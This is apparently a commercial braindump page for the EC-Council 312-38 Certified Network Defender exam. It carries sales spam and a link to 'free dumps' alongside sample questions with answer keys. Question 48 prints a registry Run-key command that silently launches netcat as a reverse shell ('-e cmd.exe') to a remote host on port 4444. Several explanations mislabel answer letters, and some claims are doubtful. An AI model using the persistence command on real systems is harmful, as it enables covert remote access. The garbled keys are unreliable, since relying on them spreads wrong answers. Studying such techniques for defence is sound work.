

EC-COUNCIL 312-38 Pdf Questions - Exceptional Practice To EC-Council Certified Network Defender CND

EC-COUNCIL 312-38

EC-Council Certified Network Defender CND

3

Answer: A

NEW QUESTION # 48

You run the following command on the remote Windows server 2003 computer:

```
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d
192.168.1.7 4444 -e
cmd.exe"
```

What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

- A. You want to set the Netcat to execute command any time.
- B. You want to put Netcat in the stealth mode.
- C. You want to perform banner grabbing.
- D. You want to add the Netcat command to the Windows registry.

Answer: A,B,D

Explanation:

According to the question, you run the following command on the remote Windows server 2003 computer:

```
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d
192.168.1.7 4444 -e
cmd.exe"
```

By running this command, you want to perform the following tasks:

Adding the NetCat command in the following registry value:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute command at any time by using the -e switch.

Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host> <port>.

NEW QUESTION # 49

.....

The price for 312-38 exam torrent is reasonable, and no matter you are a student at school or an employee in the company, you can afford the expense. What's more, 312-38 exam braindumps are high quality, and they can help you pass the exam just one time. We also pass guarantee and money back guarantee, and if you fail to pass the exam, we will give you refund. You can receive the download link and password for 312-38 Training Materials within ten minutes, so that you can start your learning as quickly as possible. We provide you with free demo for one year, and our system will send the update version for 312-38 training materials to you automatically.

EC-COUNCIL Free 312-38 Exam Questions With so many loyal users, our good reputation is not for

Trustworthy Free 312-38 Exam Questions & Guaranteed EC-COUNCIL 312-38 Exam Success with Accurate Latest 312-38 Exam Materials

What's more, part of that GuideTorrent 312-38 dumps now are free: https://drive.google.com/open?id=1-yVV0rPp_o5QWd0EIFp_1C9P_a_K4K3Q

Many customers want to check the content and quality of our 312-38 exam braindumps. So we developed trial versions for you. After you have used a trial version, you will have an overview of the content of the 312-38 simulating exam. This is enough to convince you that this is a product with high quality. If you are sure that you want this product, but we are not sure which version to buy, we can let you try multiple versions of 312-38 learning guide. And there are three varied versions on our website.

EC-COUNCIL 312-38 Exam Syllabus Topics:

Section	Weight	Objectives
Security Policies, Standards, and Compliance	6%	- Design and implementation of security policies - Industry standards, laws, and regulations - Compliance requirements and audits

Computer Network and Defense Fundamentals	5%	- IP addressing and protocols - OSI and TCP/IP models - Network defense concepts and processes - Network types, topologies, and components
Incident Detection, Response, and Recovery	14%	- Incident handling and response procedures - Business continuity and disaster recovery - Log management and correlation - Network traffic monitoring and analysis
Network Perimeter Protection	10%	- Network segmentation and isolation - Perimeter security architecture - Firewall deployment and configuration - DMZ, VPN, and secure gateway implementation
Virtual, Cloud, and Wireless Network Protection	15%	- Cloud security models (IaaS, PaaS, SaaS) - Virtualization and container security - Software-defined networking security - Wireless network security protocols and hardening
Application and Data Protection	10%	- Secure application development and deployment - Web and cloud application security - Data security, encryption, and integrity - Database security and protection
Network Security Controls, Protocols, and Devices	8%	- Security protocols and devices (firewalls, IDS/IPS) - Encryption and PKI - Access control mechanisms - Authentication, Authorization, and Accounting (AAA)
Network Threats, Attacks, and Vulnerabilities	12%	- Attack methodologies and defense strategies - Types of threats and attack vectors - Vulnerability assessment and classification
Endpoint Protection	20%	- Mobile and IoT device security - Endpoint security controls and software - Endpoint detection and response - Operating system hardening (Windows, Linux)

312-38 Valid Test Testking & 312-38 Exam Material

Our 312-38 exam questions provide with the software which has a variety of self-study and self-assessment functions to detect learning results. This function is conducive to pass the 312-38 exam and improve you pass rate. Our software is equipped with many new functions, such as timed and simulated test functions. After you set up the simulation test timer with our 312-38 Test Guide which can adjust speed and stay alert, you can devote your mind to learn the knowledge. There is no doubt that the function can help you pass the 312-38 exam.

EC-COUNCIL EC-Council Certified Network Defender CND Sample Questions (Q168-Q173):

NEW QUESTION # 168

Which of the following is a free security-auditing tool for Linux?

- A. SATAN
- B. SAINT
- C. HPing
- D. Nessus

Answer: D

NEW QUESTION # 169

Which of the following is a network layer protocol used to obtain an IP address for a given hardware (MAC) address?

- A. ARP
- B. PIM
- **C. RARP**
- D. IP

Answer: C

Explanation:

Reverse Address Resolution Protocol (RARP) is a Network layer protocol used to obtain an IP address for a given hardware (MAC) address. RARP is sort of the reverse of an ARP. Common protocols that use RARP are BOOTP and DHCP. Answer option D is incorrect. Address Resolution Protocol (ARP) is a network maintenance protocol of the TCP/IP protocol suite. It is responsible for the resolution of IP addresses to media access control (MAC) addresses of a network interface card (NIC). The ARP cache is used to maintain a correlation between a MAC address and its corresponding IP address. ARP provides the protocol rules for making this correlation and providing address conversion in both directions. ARP is limited to physical network systems that support broadcast packets. Answer option B is incorrect. Protocol-Independent Multicast (PIM) is a family of multicast routing protocols for Internet Protocol (IP) networks that provide one-to-many and many-to-many distribution of data over a LAN, WAN, or the Internet. It is termed protocol-independent because PIM does not include its own topology discovery mechanism, but instead uses routing information supplied by other traditional routing protocols, such as Border Gateway Protocol (BGP). Answer option A is incorrect. The Internet Protocol (IP) is a protocol used for communicating data across a packet-switched inter-network using the Internet Protocol Suite, also referred to as TCP/IP. IP is the primary protocol in the Internet Layer of the Internet Protocol Suite and has the task of delivering distinguished protocol datagrams (packets) from the source host to the destination host solely based on their addresses. For this purpose, the Internet Protocol defines addressing methods and structures for datagram encapsulation. The first major version of addressing structure, now referred to as Internet Protocol Version 4 (IPv4), is still the dominant protocol of the Internet, although the successor, Internet Protocol Version 6 (IPv6), is being deployed actively worldwide.

NEW QUESTION # 170

Which of the following is an intrusion detection system that monitors and analyzes the internals of a computing system rather than the network packets on its external interfaces?

- A. NIDS
- B. IPS
- C. DMZ
- **D. HIDS**

Answer: D

NEW QUESTION # 171

Rosa is working as a network defender at Linda Systems. Recently, the company migrated from Windows to MacOS. Rosa wants to view the security related logs of her system, where can she find these logs?

- A. /var/log/cups/access_log
- B. ~/Library/Logs
- **C. /private/var/log**
- D. /Library/Logs/Sync

Answer: C

Explanation:

In MacOS, security-related logs are typically stored in the /private/var/log directory. This location is used to store various system logs, including authentication attempts and other security events.

The secure.log file within this directory is particularly relevant for tracking security incidents, as it records authentication attempts and other security-related events. It's important for network defenders like Rosa to be familiar with these log locations to monitor and respond to potential security issues on the systems they manage.

NEW QUESTION # 172

Tom works as a network administrator in a multinational organization having branches across North America and Europe. Tom

wants to implement a storage technology that can provide centralized data storage and provide free data backup on the server. He should be able to perform data backup and recovery more efficiently with the selected technology. Which of the following storage technologies best suits Tom's requirements?

- A. NAS
- B. RAID
- C. PAS
- D. DAS

Answer: A

NEW QUESTION # 173

.....

GuideTorrent is a very wonderful and effective platform to give chances to our worthy clients who want to achieve their expected scores and gain their 312-38 certifications. With our professional experts' tireless efforts, our 312-38 exam guide is equipped with a simulated examination system with timing function, allowing you to examine your learning results at any time, keep checking for defects, and improve your strength. And you can be satisfied with our 312-38 learning guide.
